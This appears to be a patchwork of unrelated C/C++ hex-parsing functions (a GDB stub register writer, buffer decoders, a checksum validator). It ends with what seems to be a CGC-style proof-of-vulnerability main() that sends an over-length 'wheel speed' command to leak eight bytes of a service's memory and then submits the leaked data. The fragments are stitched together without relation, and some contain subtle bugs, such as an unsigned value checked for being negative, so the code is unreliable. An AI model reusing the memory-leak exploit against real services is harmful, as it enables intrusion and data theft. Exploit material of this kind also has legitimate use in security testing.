/**
Adds the RegNumber-th register's value to the output buffer, starting at the given OutBufPtr
@param SystemContext Register content at time of the exception
@param RegNumber the number of the register that we want to write
@param InBufPtr pointer to the output buffer. the new data will be extracted from the input buffer from this point on.
@retval the pointer to the next character of the input buffer that can be used
**/
CHAR8 *
BasicWriteRegister (
IN EFI_SYSTEM_CONTEXT SystemContext,
IN UINTN RegNumber,
IN CHAR8 *InBufPtr
)
{
UINTN RegSize;
UINTN TempValue; // the value transferred from a hex char
UINT32 NewValue; // the new value of the RegNumber-th Register
NewValue = 0;
RegSize = 0;
while (RegSize < REG_SIZE) {
TempValue = HexCharToInt(*InBufPtr++);
if (TempValue < 0) {
SendError (GDB_EBADMEMDATA);
return NULL;
}
NewValue += (TempValue << (RegSize+4));
TempValue = HexCharToInt(*InBufPtr++);
if (TempValue < 0) {
SendError (GDB_EBADMEMDATA);
return NULL;
}
NewValue += (TempValue << RegSize);
RegSize = RegSize + 8;
}
*(FindPointerToRegister(SystemContext, RegNumber)) = NewValue;
return InBufPtr;
}
bool HexDecodeToBinary(unsigned char* bufferdst, const char* hexString) {
PL_ASSERT(hexString);
size_t len = strlen(hexString);
if ((len % 2) != 0) return false;
uint32_t i;
for (i = 0; i < len / 2; i++) {
int32_t high = HexCharToInt(hexString[i * 2]);
int32_t low = HexCharToInt(hexString[i * 2 + 1]);
if ((high == -1) || (low == -1)) return false;
int32_t result = high * 16 + low;
PL_ASSERT(result >= 0 && result < 256);
bufferdst[i] = static_cast<unsigned char>(result);
}
return true;
}
//-----------------------------------------------------------------------------
bool IsLineValid(std::string &str)
{
unsigned int strsize = str.size();
if(strsize < 10) { return false; }
if(str[0] != '$') { return false; }
if(str[strsize-3] != '*') { return false; }
int checksum = 0;
for(int i = 1; i < int(strsize)-3; i++)
{
checksum ^= str[i];
}
int line_checksum = HexCharToInt( str[strsize-2] )*16 + HexCharToInt( str[strsize-1] );
return (line_checksum == checksum);
}
bool Unserialize( CUtlBuffer &buf, CUtlBinaryBlock &dest )
{
if ( !buf.IsText() )
{
int nLen = buf.GetInt( );
dest.SetLength( nLen );
if ( dest.Length() != 0 )
{
buf.Get( dest.Get(), dest.Length() );
}
if ( nLen != dest.Length() )
{
buf.SeekGet( CUtlBuffer::SEEK_CURRENT, nLen - dest.Length() );
return false;
}
return buf.IsValid();
}
int nEndGet;
int nByteCount = CountBinaryBytes( buf, &nEndGet );
if ( nByteCount < 0 )
return false;
buf.EatWhiteSpace();
int nDest = 0;
dest.SetLength( nByteCount );
while( buf.TellGet() < nEndGet )
{
char c1 = buf.GetChar();
char c2 = buf.GetChar();
unsigned char b1 = HexCharToInt( c1 );
unsigned char b2 = HexCharToInt( c2 );
if ( b1 == 0xFF || b2 == 0xFF )
return false;
dest[ nDest++ ] = b2 | ( b1 << 4 );
buf.EatWhiteSpace();
}
return true;
}
VOID
TransferFromInBufToMem (
IN UINTN Length,
IN unsigned char *Address,
IN CHAR8 *NewData
)
{
CHAR8 c1;
CHAR8 c2;
while (Length-- > 0) {
c1 = (CHAR8)HexCharToInt (*NewData++);
c2 = (CHAR8)HexCharToInt (*NewData++);
if ((c1 < 0) || (c2 < 0)) {
SendError (GDB_EBADMEMDATA);
return;
}
*Address++ = (UINT8)((c1 << 4) + c2);
}
SendSuccess();
}
bool HexStringToInt(const char *pData,
Platform::dword &value,
bool with0xPefix,
int dataCount)
{
if (pData == 0) return false;
if (*pData == 0) return false;
// check and skip prefix
if (with0xPefix)
{
if (*pData++ != '0') return false;
if (*pData++ != 'x') return false;
if (*pData == 0) return false;
}
value = 0;
int chCount = 0;
while(true)
{
char c = *pData++;
chCount++;
if ((dataCount > 0) && (chCount > dataCount)) break;
if (c == 0)
{
if (dataCount > 0) return false;
break;
}
if (chCount > 8) return false;
int fourBits = HexCharToInt(c);
if (fourBits < 0) return false;
value = value << 4;
value |= (fourBits & 0x0f);
}
return true;
}
int main(void)
{
// ipmask -- mask of CB/RB instruction pointer
// regmask -- mask of CB/RB register (specified by third argument)
// 0 - eax, 1 - ecx, 2 - edx, 3 - ebx, 4 - esp, 5 - ebp, 6 - esi, 7 - edi
// Negotiate type2 -- populate t2vals
unsigned char *read_data = NULL;
unsigned int read_len = 0;
int read_res;
int i;
unsigned char same_line_delimiter[] = ": ";
unsigned char new_line_delimiter[] = "\n";
unsigned int type2_addr;
unsigned int type2_size;
unsigned int type2_length;
NegotiateType2Pov( &type2_addr, &type2_size, &type2_length );
// Read command count
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "3\n" );
// Read source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Read Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "19\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "7\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "25\n" );
// Now send TCM enable command
// Get source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Get Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "20\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "11\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
// 125 milliseconds
SendCommand( "125\n" );
// Read send binary message
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
// Send TCM start command
SendCommand( "03010001\n" );
// Read Enter Source ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "0\n" );
// Read Dest ID
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
SendCommand( "20\n" );
// Read 13 lines
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "11\n" );
// Read 2 lines
for ( i = 0; i < 2; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
SendCommand( "225\n" );
// Read enter binary message
read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
// Send cgc_read wheel speed command -- exceed the length and cgc_read the equipment ID -- it should leak 64-bits or 8-bytes of data
SendCommand( "010600010406070809\n" );
// Consume 13 lines...
for ( i = 0; i < 13; i++ )
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
const char *szExpectLine = "[MESSAGE][SRC=20][DEST=0][LENGTH=13]\n";
if ( read_len != cgc_strlen(szExpectLine) )
{
char *szBlah = "0000";
SendBytes( 3, (char *)szBlah, 4 );
_terminate(-1);
}
if ( memcmp( read_data, szExpectLine, read_len ) != 0 )
_terminate(-1);
// Next line has equipment ID -- which is type 2 memory leak
read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
if ( read_len < 26 )
_terminate(-1);
else
{
// Convert
uint8_t pov2_data[8];
size_t pos_source = 10;
size_t count = 0;
size_t out_pos = 0;
for ( count = 0; count < 8; count++ )
{
pov2_data[out_pos] = 0;
if ( !IsHexChar( read_data[pos_source] ) )
_terminate(-1);
pov2_data[out_pos] = (HexCharToInt( read_data[pos_source] ) << 4);
pos_source++;
if ( !IsHexChar( read_data[pos_source] ) )
_terminate(-1);
pov2_data[out_pos] |= (HexCharToInt( read_data[pos_source] ));
out_pos++;
pos_source++;
}
SendBytes( 3, (char *)pov2_data, 4 );
}
}
static int Hex2BytesToInt(const unsigned char *buf)
{
return(HexCharToInt(buf[0]) << 4 | HexCharToInt(buf[1]));
}
